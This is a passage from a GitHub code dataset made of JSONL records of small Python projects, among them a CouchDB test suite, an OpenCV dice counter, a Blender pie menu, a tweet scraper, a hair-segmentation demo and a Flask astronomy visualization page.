22, reverse and 7 or 27, 30 + fg, 40 + bg, END)\n\n\ndef make_term_color(fg, bg, bold=False, reverse=False):\n \"\"\"Emit the ANSI escape string to change the current color\"\"\"\n rev = RV_FORMAT % (bold and 1 or 22, reverse and 7 or 27)\n fore = FG_FORMAT % fg\n if bg == BACKGROUND_COLOR:\n back = DF_FORMAT\n else:\n back = BG_FORMAT % bg\n return ''.join((rev, fore, back))\n\n\ndef print_progressbar(fmt, current, last, start=0, dot=None, lastfmt=None,\n maxwidth=0, **kwargs):\n \"\"\"Give user some feedback with a poor man dotgraph\"\"\"\n global _STATIC_VARS\n if not _STATIC_VARS.term:\n return\n if last == start:\n return\n WIDTH = maxwidth or 80\n EMPTYBLOCK = ord(' ')\n width = WIDTH-1-len(\"%06x: 00%%\" % last)\n if start == current:\n level = 0\n else:\n level = width*8*(current-start)\n distance = last-start\n progress = current-start\n if charset() != 'utf8':\n fullblock = ord('.')\n if not dot:\n lastchar = EMPTYBLOCK\n else:\n lastchar = dot == 'E' and 0x2718 or ord(dot)\n if not lastfmt:\n lastfmt = fmt\n level //= distance\n else:\n fullblock = 0x2588 # unicode char\n level //= distance\n sublevel = level % 8\n if not dot:\n lastchar = sublevel and (fullblock+8-sublevel) or EMPTYBLOCK\n else:\n lastchar = dot == 'E' and 0x2718 or ord(dot)\n if not lastfmt:\n lastfmt = '%s \\u2714' % fmt\n completion = (100*progress)//distance\n barcount = min(width, level//8) # deal with rounding\n if current < last:\n barg = u''.join((chr(fullblock)*barcount,\n chr(lastchar),\n chr(EMPTYBLOCK)*(width-barcount+1)))\n format_ = u'\\r%s\\r' % fmt\n else:\n barg = chr(fullblock)*(2+barcount)\n format_ = u'\\r%s\\r' % lastfmt\n arguments = dict(kwargs)\n arguments.update({'pos': current,\n 'bargraph': barg,\n 'percent': completion})\n output = format_ % arguments\n stdout.write(output)\n stdout.flush()\n","repo_name":"eblot/tde-base","sub_path":"library/py/tde/term.py","file_name":"term.py","file_ext":"py","file_size_in_byte":6783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74831296424","text":"from nose.tools import ok_, eq_, raises\nimport couchdb\n\nfrom graf import config\nfrom graf.database import Server, Database, create_database, connect, \\\n drop_database\n\nenv = 'TEST'\n\nclass TestConnection(object):\n\n def setUp(self):\n url = config.get(env, 'url')\n self.server = Server(url)\n self.couchdb_server = couchdb.Server(url)\n \n \n def test_01_create_database(self):\n dbname = config.get(env, 'dbname')\n self.server.create_database(dbname)\n ok_(self.couchdb_server[dbname])\n \n \n def test_02_drop_database(self):\n dbname = config.get(env, 'dbname')\n self.server.create_database(dbname)\n self.server.drop_database(dbname)\n @raises(couchdb.ResourceNotFound)\n def check():\n self.couchdb_server[dbname]\n check()\n \n \n def test_03_check_views(self):\n # setup\n dbname = config.get(env, 'dbname')\n self.server.create_database(dbname)\n db = self.server.connect(dbname)\n db.check_views()\n # test\n design = db.get(db.design_name)\n ok_(design)\n ok_(design['views'])\n eq_(Database.version, design['version'])\n # cleanup\n self.server.drop_database(dbname)\n\n\nclass TestDatabase(object):\n \n \n def setUp(self):\n try:\n drop_database(env)\n except:\n pass\n create_database(env)\n self.db = connect(env)\n self.db.check_views()\n \n \n def tearDown(self):\n drop_database(env)\n pass\n\n\n def test_01_view_unprocessed_docs(self):\n created_at = '2012-02-20T00:%02d:00Z'\n for i in range(10):\n key = 'doc_%d' % i\n doc = {\n 'created_at' : created_at % i,\n }\n if i % 2 == 0:\n doc['processed'] = True\n \n self.db[key] = doc\n \n res = self.db.unprocessed_docs_view()\n eq_(len(res), 5)\n \n subset = res['2012-02-20T00:01:00Z':'2012-02-20T00:05:00Z']\n eq_(len(subset), 3)\n eq_(subset.rows[0].key, '2012-02-20T00:01:00Z')\n eq_(subset.rows[1].key, '2012-02-20T00:03:00Z')\n eq_(subset.rows[2].key, '2012-02-20T00:05:00Z')\n\n\n def test_02_delitem_contains(self):\n self.db['test'] = {'key':'value'}\n ok_('test' in self.db)\n ok_('foo' not in self.db)\n del self.db['test']\n ok_('test' not in self.db)\n\n\n def test_03_save_get_image(self):\n image = self.db.get_image('doc_1')\n ok_(image is None)\n \n path = config.server_dir + '/tests/fixtures/test_037233.png'\n image = open(path)\n key = 'doc_1'\n self.db[key] = {}\n doc = self.db[key]\n self.db.save_image(doc, image)\n\n image = self.db.get_image('doc_1')\n ok_(image)\n image = self.db.get_image(doc)\n ok_(image)\n \n","repo_name":"finestructure/GrafServer","sub_path":"tests/test_01_database.py","file_name":"test_01_database.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"33119506770","text":"import random\n\nhighest = 10\nanswer = random.randint(1, highest)\nprint(answer)\n\n\nprint(f\"Please guess a number between 1 and {highest}.\")\nguess = int(input())\nwhile guess != answer:\n if guess < answer and guess != 0:\n print(\"Please guess higher.\")\n elif guess == 0:\n print(\"You may quit\")\n else:\n print(\"Please guess lower.\")\n guess = int(input())\nprint(\"Well done !\")","repo_name":"AlexandraOlariu5/FirstProject","sub_path":"Guessing_game_challenge_with_while.py","file_name":"Guessing_game_challenge_with_while.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"37452010010","text":"import sqlite3\nfrom models import Customer\n\nCUSTOMERS = [\n {\n \"id\": 1,\n \"name\": \"Derrick Henry\",\n \"email\": \"titanup@titans.com\"\n },\n {\n \"id\": 2,\n \"name\": \"Michael Jordan\",\n \"email\": \"mjordan@bulls.com\"\n },\n {\n \"id\": 3,\n \"name\": \"Stephen Curry\",\n \"email\": \"splashbro@gs.com\"\n }\n]\n\n\ndef get_all_customers():\n \"farts\"\n return CUSTOMERS\n\n # Function with a single parameter\ndef get_single_customer(id):\n \"\"\"notes section\"\"\"\n # Variable to hold the found animal, if it exists\n requested_customer = None\n\n # Iterate the ANIMALS list above. Very similar to the\n # for..of loops you used in JavaScript.\n for customer in CUSTOMERS:\n # Dictionaries in Python use [] notation to find a key\n # instead of the dot notation that JavaScript used.\n if customer[\"id\"] == id:\n requested_customer = customer\n\n return requested_customer\n\ndef create_customer(customer):\n \"\"\"docstring\"\"\"\n # Get the id value of the last animal in the list\n max_id = CUSTOMERS[-1][\"id\"]\n\n # Add 1 to whatever that number is\n new_id = max_id + 1\n\n # Add an `id` property to the animal dictionary\n customer[\"id\"] = new_id\n\n # Add the animal dictionary to the list\n CUSTOMERS.append(customer)\n\n # Return the dictionary with `id` property added\n return customer\n\ndef get_customers_by_email(email):\n \"\"\"docstring\"\"\"\n with sqlite3.connect(\"./kennel.sqlite3\") as conn:\n conn.row_factory = sqlite3.Row\n db_cursor = conn.cursor()\n\n # Write the SQL query to get the information you want\n db_cursor.execute(\"\"\"\n select\n c.id,\n c.name,\n c.address,\n c.email,\n c.password\n from Customer c\n WHERE c.email = ?\n \"\"\", ( email, ))\n\n customers = []\n dataset = db_cursor.fetchall()\n\n for row in dataset:\n customer = Customer(row['id'], row['name'], row['address'], row['email'] , row['password'])\n customers.append(customer.__dict__)\n\n return customers\n","repo_name":"MattHedges/kennels-server","sub_path":"views/customer_requests.py","file_name":"customer_requests.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"32882229938","text":"# RMIT University Vietnam\r\n# Course: COSC2429 Introduction to Programming\r\n# Semester: 2021C\r\n# Assignment: 1\r\n# Author: Truong Hoang Tuan Kiet (s3926873)\r\n# Created date: 13/11/2021 11:10\r\n# Last modified date: 28/11/2021 23:34\r\n\r\nimport math\r\nimport random\r\n\r\ndef main():\r\n print(\"The estimate Pi result is:\",estimate_pi(1000))\r\n\r\ndef generate_n_random_points(n):\r\n \"\"\"\r\n This function created to generate an empty list to store the n random points over the circle\r\n :param n: the total amount of random points\r\n :return: list consist of n random points\r\n \"\"\"\r\n list_of_n_random_points = []\r\n for i in range(n):\r\n #Random the x-coordinate and y-coordinate of the points\r\n x = random.uniform(-1, 1)\r\n y = random.uniform(-1 ,1)\r\n #generates a random points with [x,y] to store in the list\r\n random_points = [x, y]\r\n #Add the random points to the list\r\n list_of_n_random_points.append(random_points)\r\n return list_of_n_random_points\r\n\r\ndef check_the_distance_of_the_random_point(points):\r\n \"\"\"\r\n This function created to check the distance of the points with the circle\r\n If the distance > 1 -> The points is outside the circle\r\n Else the distance <= 1 -> The points is in the circle or inside the circle\r\n :param points :\r\n :return: if the points inside the circle -> return True / else return False (boolean)\r\n \"\"\"\r\n #Calculate the distance of the points with the circle by the provided formula\r\n distance = math.sqrt(points[0]**2 + points[1]**2)\r\n if distance > 1:\r\n return False\r\n else:\r\n return True\r\n\r\ndef count_the_total_points_inside_the_circle(list_of_n_random_points):\r\n \"\"\"\r\n This function created to count the total of points that lays inside a circle\r\n :param list_of_n_random_points:\r\n :return:the total amount of points inside the circle (integer)\r\n \"\"\"\r\n #Create a count variable to count the random points inside the circle\r\n cnt = 0\r\n for points in list_of_n_random_points:\r\n if check_the_distance_of_the_random_point(points):\r\n cnt += 1\r\n return cnt\r\ndef estimate_pi(N):\r\n \"\"\"\r\n This function created to calculate approximate pi of a circle with n random points\r\n :param N: random points generated over the circle\r\n :return: estimate pi (float)\r\n \"\"\"\r\n list_of_n_random_points = generate_n_random_points(N)\r\n total_points_inside_the_circle = count_the_total_points_inside_the_circle(list_of_n_random_points)\r\n estimate_pi = ( total_points_inside_the_circle * 4 ) / N\r\n return estimate_pi\r\nmain()","repo_name":"Ben022226/Intro-To-Programmming","sub_path":"p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"41562182221","text":"import cv2\nimport numpy as np\n\n#kep beolvasasa, eleresi ut es kep modosithato\nimg = cv2.imread(\"./kepek/20220111_101152.jpg\", -1 )\n\n#beolvasott kep atmeretezese\ndown_width = 800\ndown_height = 600\ndown_points = (down_width, down_height)\nresized_down = cv2.resize(img, down_points, interpolation= cv2.INTER_LINEAR)\n\n#arnyekok halvanyitasa, eltuntetese\nrgb_planes = cv2.split(resized_down)\n\nresult_planes = []\nfor plane in rgb_planes:\n dilated_img = cv2.dilate(plane, np.ones((7,7), np.uint8))\n bg_img = cv2.medianBlur(dilated_img, 21)\n diff_img = 255 - cv2.absdiff(plane, bg_img)\n norm_img = cv2.normalize(diff_img,None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX, dtype=cv2.CV_8UC1)\n result_planes.append(diff_img)\n\n#arnyek nelkuli kep\nresult = cv2.merge(result_planes) \n\n#arnyek nelkuli kep szurkearnyalatos atalakitasa\narnyek_gray = cv2.cvtColor(result, cv2.COLOR_BGR2GRAY)\n\n#pont kereso parametereinek megadasa\nparams = cv2.SimpleBlobDetector_Params()\n\n#treshold beallitasok\nparams.minThreshold = 127\nparams.maxThreshold = 255\n\n# teruleti szuro - minel kisebb meretet ne vegye pontnak\nparams.filterByArea = True\nparams.minArea = 150\n\n# kereksegi szuro - minimalis kerekseg, ami pontnak szamit\nparams.filterByCircularity = True\nparams.minCircularity = 0.65\n\n# forma kereksegi szuro - mekkora resz hianyozhat a korbol, amit pontnak vesz\nparams.filterByConvexity = True\nparams.minConvexity = 0.57\n\n# elipszis forma szuro - mennyire lehet elipszis formaja a kornek\nparams.filterByInertia = True\nparams.minInertiaRatio = 0.2\n\n# erzekelo letrehozasa a megadott parameterekkel\ndetector = cv2.SimpleBlobDetector_create(params)\n\n# pontok kereses az erzekelovel\nkeypoints = detector.detect(arnyek_gray)\n\n#pontok berajzolasa a szurkearynalatos es eredeti kepre\nim_with_keypoints = cv2.drawKeypoints(arnyek_gray, keypoints, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\neredeti = cv2.drawKeypoints(resized_down, keypoints, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n#pontok megszamolasa es szovegge alakitasa\nolvasas_int = len(keypoints)\nolvasas_str = \"pont:\"+str(olvasas_int)\n\n#a pontokkal megjelolt kep szurkearnyalatossa alakitasa\nkeypoints_ff = cv2.cvtColor(im_with_keypoints, cv2.COLOR_BGR2GRAY)\n\n#zavarszures es objektum hatarok keresese\nzavar = cv2.blur(keypoints_ff,(7,7))\nhatarok = cv2.Canny(zavar,200,255)\n\n#az ujonnan letrejott objektumok kereses\nkernal = np.ones((2, 2), np.uint8)\ndilation = cv2.dilate(hatarok, kernal, iterations=41)\n\ncontours, hierarchy = cv2.findContours(\n dilation, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n#az objektumok megszamlalasa es szovegge alakitasa\nobjects = str(len(contours))\n\ntext = \"kocka:\"+str(objects)\n\n#szoveg formajanak, szinenet es meretenek beallitasa a kepre irashoz\nfont = cv2.FONT_HERSHEY_SIMPLEX\nbottomLeftCornerOfText = (10,500)\nbottomLeftCornerOfTXT = (10,450)\nfontScale = 1\nfontColor = (0,255,0)\nthickness = 2\nlineType = 2\n\n#szam kepre irasa\ncv2.putText(eredeti,olvasas_str, \n bottomLeftCornerOfText, \n font, \n fontScale,\n fontColor,\n thickness,\n lineType)\n\n#kockaszam kepre irasa\ncv2.putText(eredeti,text, \n bottomLeftCornerOfTXT, \n font, \n fontScale,\n fontColor,\n thickness,\n lineType)\n\n\n#eredmeny mutatasa\ncv2.imshow(\"Eredmeny\", eredeti)\n#eredmeny fajlba mentese\ncv2.imwrite(\"./kepek/eredmeny/eredmeny_20220111_101152.jpg\", eredeti)\n#varkozas billentyu lenyomasra\ncv2.waitKey(0)\n#ablak bezarasa\ncv2.destroyAllWindows()","repo_name":"KYCNDX/gepi_latas","sub_path":"KYCNDX_final.py","file_name":"KYCNDX_final.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"29501534843","text":"import sys\r\nfrom collections import deque\r\n\r\nN = int(sys.stdin.readline())\r\nqueue = deque()\r\n\r\ndef push_front(X):\r\n queue.appendleft(X)\r\ndef push_back(X):\r\n queue.append(X)\r\ndef pop_front():\r\n if len(queue) == 0:\r\n print(-1)\r\n else:\r\n print(queue.popleft())\r\ndef pop_back():\r\n if len(queue) == 0:\r\n print(-1)\r\n else:\r\n print(queue.pop())\r\ndef size():\r\n print(len(queue))\r\ndef empty():\r\n if len(queue) == 0:\r\n print(1)\r\n else:\r\n print(0)\r\ndef front():\r\n if len(queue) == 0:\r\n print(-1)\r\n else:\r\n print(queue[0])\r\ndef back():\r\n if len(queue) == 0:\r\n print(-1)\r\n else:\r\n print(queue[-1])\r\n\r\n\r\nfor _ in range(N):\r\n tmp = sys.stdin.readline().split()\r\n if tmp[0] == 'push_front':\r\n push_front(tmp[1])\r\n elif tmp[0] == 'push_back':\r\n push_back(tmp[1])\r\n elif tmp[0] == 'pop_front':\r\n pop_front()\r\n elif tmp[0] == 'pop_back':\r\n pop_back()\r\n elif tmp[0] == 'size':\r\n size()\r\n elif tmp[0] == 'empty':\r\n empty()\r\n elif tmp[0] == 'front':\r\n front()\r\n elif tmp[0] == 'back':\r\n back()","repo_name":"harii-in/BAEKJOON","sub_path":"10866.py","file_name":"10866.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13174230075","text":"import cv2\nimport numpy as np\nimport torch\nimport time\nimport os\nimport sys\nimport argparse\nfrom PIL import Image\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\n\nfrom networks import get_network\nfrom data import get_loader\nimport torchvision.transforms as std_trnsf\nfrom utils import joint_transforms as jnt_trnsf\nfrom utils.metrics import MultiThresholdMeasures\n\ndef str2bool(s):\n return s.lower() in ('t', 'true', 1)\n\ndef has_img_ext(fname):\n ext = os.path.splitext(fname)[1]\n return ext in ('.jpg', '.jpeg', '.png')\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--ckpt_dir', help='path to ckpt file',type=str,\n default='./models/pspnet_resnet101_sgd_lr_0.002_epoch_100_test_iou_0.918.pth')\n parser.add_argument('--img_dir', help='path to image files', type=str, default='./data/Figaro1k')\n parser.add_argument('--networks', help='name of neural network', type=str, default='pspnet_resnet101')\n parser.add_argument('--save_dir', default='./overlay',\n help='path to save overlay images')\n parser.add_argument('--use_gpu', type=str2bool, default=True,\n help='True if using gpu during inference')\n\n args = parser.parse_args()\n\n ckpt_dir = args.ckpt_dir\n img_dir = args.img_dir\n network = args.networks.lower()\n save_dir = args.save_dir\n device = 'cuda' if args.use_gpu else 'cpu'\n\n assert os.path.exists(ckpt_dir)\n assert os.path.exists(img_dir)\n assert os.path.exists(os.path.split(save_dir)[0])\n\n os.makedirs(save_dir, exist_ok=True)\n\n # prepare network with trained parameters\n net = get_network(network).to(device)\n state = torch.load(ckpt_dir)\n net.load_state_dict(state['weight'])\n\n\n test_image_transforms = std_trnsf.Compose([\n std_trnsf.ToTensor(),\n std_trnsf.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n\n\n durations = list()\n\n # prepare images\n img_paths = [os.path.join(img_dir, k) for k in sorted(os.listdir(img_dir)) if has_img_ext(k)]\n with torch.no_grad():\n for i, img_path in enumerate(img_paths, 1):\n print('[{:3d}/{:3d}] processing image... '.format(i, len(img_paths)))\n img = Image.open(img_path)\n data = test_image_transforms(img)\n data = torch.unsqueeze(data, dim=0)\n net.eval()\n data = data.to(device)\n\n # inference\n start = time.time()\n logit = net(data)\n duration = time.time() - start\n\n # prepare mask\n pred = torch.sigmoid(logit.cpu())[0][0].data.numpy()\n mh, mw = data.size(2), data.size(3)\n mask = pred >= 0.5\n\n mask_n = np.zeros((mh, mw, 3))\n mask_n[:,:,0] = 255\n mask_n[:,:,0] *= mask\n\n path = os.path.join(save_dir, os.path.basename(img_path)+'.png')\n image_n = np.array(img)\n image_n = cv2.cvtColor(image_n, cv2.COLOR_RGB2BGR)\n # discard padded area\n ih, iw, _ = image_n.shape\n\n delta_h = mh - ih\n delta_w = mw - iw\n\n top = delta_h // 2\n bottom = mh - (delta_h - top)\n left = delta_w // 2\n right = mw - (delta_w - left)\n\n mask_n = mask_n[top:bottom, left:right, :]\n\n # addWeighted\n image_n = image_n * 0.5 + mask_n * 0.5\n\n # log measurements\n durations.append(duration)\n\n # write overlay image\n cv2.imwrite(path,image_n)\n\n\n avg_fps = sum(durations)/len(durations)\n print('Avg-FPS:', avg_fps)\n","repo_name":"YBIGTA/pytorch-hair-segmentation","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","stars":433,"dataset":"github-code","pt":"36"} +{"seq_id":"7070695562","text":"\"\"\"Download tweets with ratings\"\"\"\nimport requests\nfrom snscrape.modules.twitter import TwitterUserScraper, Photo\nfrom tqdm import tqdm\nimport os\nfrom PIL import Image\nimport io\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nsavedir = os.path.join(dir_path, '../../../data/rated_images')\n\ndef extract_rating(content):\n '''\n Extract 0-10 rating from room rating tweet\n Return None if 0-10 rating not found\n '''\n try: #Try to extract 0-10 rating\n content = content.split('/10')[0] #rating is before the /10\n try:\n content = int(content[-2:])\n except ValueError: #first character could throwing us off\n content = int(content[-1:])\n assert content <= 10\n assert content >= 0\n except: #multiple exceptions\n content = None\n return content\n\ndef save_im(i, rating, image, savedir, size):\n '''\n Resize image number i to sizexsize and save with rating infilename\n and save in savedir\n '''\n image = Image.open(io.BytesIO(image.content))\n image = image.resize(size)\n image.save(savedir + '/%05d_%02d.png' % (i, rating))\n\ndef download_tweets(max_tweets = int(1e4),\n savedir = savedir,\n account = 'ratemyskyperoom',\n save_size = (128, 128)):\n '''\n Download a maximum of max_tweets to savedir\n from twitter account at resolution save_size.\n savedir should not exist and will be created\n At some point may except 'ScraperException'. This is fine as long\n as enough (>3000) tweets have been downloaded.\n '''\n os.mkdir(savedir)\n tweets = TwitterUserScraper(account, False).get_items()\n j = 0 #count successful ratings downloads\n for tweet in tqdm(tweets):\n if not tweet.media: #don't bother if no image\n continue\n rating = extract_rating(tweet.content)\n if rating is None:\n continue #don't bothing if no rating\n for medium in tweet.media:\n if isinstance(medium, Photo):\n im = requests.get(medium.fullUrl)\n save_im(j, rating, im, savedir, save_size)\n j += 1\n break #should only be one image\n if j > max_tweets:\n break\n\nif __name__ == '__main__':\n download_tweets()\n","repo_name":"wampiter/room-rater","sub_path":"src/room_rate/data/data_downloader.py","file_name":"data_downloader.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2196641422","text":"from sklearn.linear_model import LogisticRegression\nimport pickle\nfrom pickle import dump, load\nimport pandas as pd\n\n\ndef load_model_and_predict(df):\n with open('model.pickle', 'rb') as f:\n model = pickle.load(f)\n\n prediction = model.predict(df)[0]\n\n prediction_proba = model.predict_proba(df)[0]\n\n encode_prediction_proba = {\n 0: \"Вам не понравится с вероятностью\",\n 1: \"Вам понравится с вероятностью\"\n }\n\n encode_prediction = {\n 0: \"Увы, скорее всего Вам не понравится\",\n 1: \"Ура! Вам понравится полёт\"\n }\n\n prediction_data = {}\n for key, value in encode_prediction_proba.items():\n prediction_data.update({value: prediction_proba[key]})\n\n prediction_df = pd.DataFrame(prediction_data, index=[0])\n prediction = encode_prediction[prediction]\n\n return prediction, prediction_df\n\n\nif __name__ == \"__main__\":\n print(\"\")","repo_name":"HowToCodeWithPaws/ML_summer_school","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"19407221011","text":"#!/usr/bin/python3\nif __name__ == \"__main__\":\n from sys import argv\n if len(argv) == 1:\n print(\"0 arguments.\")\n elif len(argv) == 2:\n print(\"1 argument:\")\n else:\n print(\"{} arguments:\".format(len(argv) - 1))\n for listArgum in range(1, len(argv)):\n print(\"{}: {}\".format(listArgum, argv[listArgum]))\n","repo_name":"jisethpenarias/holbertonschool-higher_level_programming","sub_path":"0x02-python-import_modules/2-args.py","file_name":"2-args.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"36063125346","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nxi = np.array((-1, 0, 1, 2, 3, 4, 5, 6))\nyi = np.array((10, 9, 7, 5, 4, 3, 0, -1))\nn = len(xi)\n\nxi2 = np.ones(n)\nxy = np.ones(n)\n\nfor i in range(n):\n xi2[i] = xi[i]** 2\n xy[i] = xi[i] * yi[i]\n\n\ndef somatorio(x):\n soma = 0\n for i in range(len(x)):\n soma += x[i]\n return soma\n\n#(somatorio(xi), somatorio(yi), somatorio(xi2), somatorio(xy))\n\ns = np.ones(4)\n\ns[0] = somatorio(xi)\ns[1] = somatorio(yi)\ns[2] = somatorio(xi2)\ns[3] = somatorio(xy)\n\nmat = np.ones((2, 2))\nb = np.array((s[3], s[1]))\n\nmat[0][0] = s[2]\nmat[0][1] = s[0]\n\nmat[1][0] = s[0]\nmat[1][1] = n\n\n\nx = np.linalg.solve(mat, b)\nprint(f'a = {x[0]}, b = {x[1]}')\n\n########################### plotando os pontos\n#### y = ax+b\nplt.plot(xi, yi, 'ro')\n\nd = np.linspace(-2, 7, 10)\ndx = np.ones(10)\n\nfor i in range(len(d)):\n dx[i] = x[0]*d[i] + x[1]\n\nplt.plot(d, dx)\nplt.show()","repo_name":"HigorAnjos/Fundamentos-VI","sub_path":"2 Quadrados_Minimos.py","file_name":"2 Quadrados_Minimos.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"29177986958","text":"import bpy\r\nfrom bpy.types import Menu\r\n\r\nclass VIEW3D_PIE_SV_ops(bpy.types.Operator):\r\n\r\n bl_idname = \"nodes.pie_menu_enum\"\r\n bl_label = \"Operator Label\"\r\n\r\n mode_options = [\r\n (\"button1\", \"button1\", \"\", \"CURVE_DATA\", 0),\r\n (\"button2\", \"button2\", \"\", \"\", 1),\r\n (\"button3\", \"button3\", \"\", \"\", 2)\r\n ]\r\n\r\n selected_mode = bpy.props.EnumProperty(\r\n items=mode_options,\r\n description=\"main\",\r\n default=\"button1\"\r\n )\r\n\r\n def execute(self, context):\r\n print('added ', self.selected_mode)\r\n return {'FINISHED'}\r\n\r\n\r\nclass VIEW3D_PIE_template(Menu):\r\n\r\n bl_label = \"Pan Around\"\r\n\r\n def draw(self, context):\r\n layout = self.layout\r\n pie = layout.menu_pie()\r\n pie.operator_enum(\"nodes.pie_menu_enum\", \"selected_mode\")\r\n\r\n\r\ndef register():\r\n bpy.utils.register_module(__name__)\r\n\r\ndef unregister():\r\n bpy.utils.unregister_module(__name__)\r\n\r\nif __name__ == \"__main__\":\r\n register()\r\n\r\n bpy.ops.wm.call_menu_pie(name=\"VIEW3D_PIE_template\")","repo_name":"akashmanna/BlenderPyScripts","sub_path":"PieMenu_blender.py","file_name":"PieMenu_blender.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"10319564418","text":"\"\"\"\nThis module defines the main logic for handling target visualization and target list pages for a web application\nusing Flask. It processes the user's input from the forms, fetches the necessary data, generates the required\nplots, and renders the templates with the corresponding information.\n\nDependencies:\n- flask\n- requests\n- utils.sector_processing\n- utils.metadata\n- utils.visualization\n- astropy.coordinates\n\n\"\"\"\n\nfrom flask import render_template, request\nimport requests\nfrom utils.sector_processing import process_data, get_targets_from_uploaded_csv_diagrams\nfrom utils.metadata import get_metadata\nfrom utils.visualization import generate_magnitude_histogram, hr_diagram, distance_histogram, sector_graph\nfrom astropy.coordinates import SkyCoord\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.layouts import column\nfrom bokeh.models.callbacks import CustomJS\n\ndef target_visualization_page():\n \"\"\"\n Render the target visualization page based on the user's input.\n\n This function handles both GET and POST requests to display the target visualization page.\n If a POST request is received, it extracts the target name from the request form and sets\n the table visibility to 'visible'. In case of a GET request, the table visibility is set\n to 'hidden'.\n\n Returns:\n A rendered HTML template for the target visualization page with the appropriate\n table visibility setting based on the request method.\n \"\"\"\n\n table_visibility = 'hidden'\n\n if request.method == 'POST':\n target = request.form.get('target')\n table_visibility = 'visible'\n\n # Render the template with the processed data\n return render_template(\"target_visualization.html\", target=target, table_visibility=table_visibility)\n\n return render_template(\"target_visualization.html\", table_visibility=table_visibility)\n\n\ndef target_list_page():\n \"\"\"\n Render the target list page and process the user's input.\n\n This function handles both GET and POST requests to display the target list page.\n If a POST request is received, it processes the uploaded CSV file containing target\n coordinates, calculates the relevant data, and generates various visualizations such\n as sector graph, HR diagram, magnitude histogram, and distance histogram for all targets.\n In case of a GET request, an empty target list page is displayed.\n\n Returns:\n A rendered HTML template for the target list page with generated visualizations\n based on the user's input in case of a POST request, or an empty target list page\n for a GET request.\n \"\"\"\n\n visualizations = {}\n #download_link = None\n\n if request.method == 'POST':\n # Define search radius and retrieve uploaded CSV file\n radius = 0.01\n csv_file = request.files.get('csv_file')\n\n # Process CSV file and retrieve target data\n results = get_targets_from_uploaded_csv_diagrams(csv_file, radius)\n print(results) # take out after just for debuging\n\n # Aggregate data for all cycles\n all_cycles = [result[4] for result in results]\n\n # Initialize lists for storing target metadata\n all_luminosities = []\n all_temperatures = []\n all_magnitudes = []\n all_distances = []\n\n # Retrieve metadata for each target\n coord_list = [SkyCoord(ra=result[0], dec=result[1], unit='deg')\n for result in results]\n metadata_list = get_metadata(coords=coord_list)\n\n # Process and aggregate metadata\n for metadata in metadata_list:\n luminosity, temperature, star_name, magnitudes, distance = metadata\n all_luminosities.extend(luminosity)\n all_temperatures.extend(temperature)\n all_magnitudes.extend(magnitudes)\n all_distances.extend(distance)\n\n # Find the maximum length among all lists\n max_length = max(len(all_temperatures), len(all_luminosities), len(all_magnitudes),\n len(all_distances), len(results))\n\n # Ensure all lists have the same length by filling in empty strings\n all_temperatures += [\"\"] * (max_length - len(all_temperatures))\n all_luminosities += [\"\"] * (max_length - len(all_luminosities))\n all_magnitudes += [\"\"] * (max_length - len(all_magnitudes))\n all_distances += [\"\"] * (max_length - len(all_distances))\n\n # Get sectors, cycles, cameras, and observation_dates from results\n sectors = [result[2] for result in results]\n cycles = [result[3] for result in results]\n cameras = [result[4] for result in results]\n observation_dates = [result[5] for result in results]\n\n # Ensure the lists from results have the same length as the others\n sectors += [None] * (max_length - len(sectors))\n cycles += [-1] * (max_length - len(cycles))\n cameras += [-1] * (max_length - len(cameras))\n observation_dates += [None] * (max_length - len(observation_dates))\n\n # Create the common data source\n common_source = ColumnDataSource(data=dict(\n temperature=all_temperatures,\n luminosity=all_luminosities,\n magnitudes=all_magnitudes,\n distance=all_distances,\n sectors=sectors,\n cycles=cycles,\n cameras=cameras,\n observation_dates=observation_dates))\n \n \n \n\n # Generate visualizationsS\n visualizations = {\n 'hr_diagram': hr_diagram(common_source, \"All Targets\"),\n 'magnitude_histogram': generate_magnitude_histogram(ColumnDataSource(data=common_source.data), \"All Targets\") or \"No magnitude data available\",\n 'distance_histogram': distance_histogram(ColumnDataSource(data=common_source.data), \"All Targets\"),\n 'sector_graph': sector_graph(ColumnDataSource(data=dict(\n 